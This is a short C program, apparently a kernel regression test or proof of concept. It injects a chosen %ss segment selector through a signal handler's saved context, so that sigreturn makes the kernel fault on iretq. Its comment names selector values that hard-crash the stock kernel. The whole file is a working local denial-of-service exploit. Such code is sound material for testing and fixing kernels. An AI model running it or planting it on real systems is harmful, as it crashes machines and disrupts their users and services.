#include <signal.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

/*
 * t8.c - minimal %ss injection via sigreturn, driven by SSVAL env var.
 *
 * The signal handler rewrites the saved user context's mc_ss with an
 * attacker-chosen selector and returns; sigreturn restores the frame and
 * the kernel's doreti_iret iretq faults on the bad %ss.
 *
 * SSVAL=0x4 (GDT[0] null descriptor), 0x7 (null desc, RPL3) or 0xdead
 * (absent LDT descriptor) hard-crash the stock kernel.
 */
static void handler(int sig, siginfo_t *si, void *ctx)
{
	ucontext_t *uc = ctx;

	uc->uc_mcontext.mc_ss = (register_t)strtoull(getenv("SSVAL"), NULL, 0);
}

int main(void)
{
	struct sigaction sa;

	memset(&sa, 0, sizeof(sa));
	sa.sa_sigaction = handler;
	sa.sa_flags = SA_SIGINFO;
	sigaction(SIGUSR1, &sa, NULL);
	kill(getpid(), SIGUSR1);
	printf("SURVIVED ss=%s\n", getenv("SSVAL"));
	return (0);
}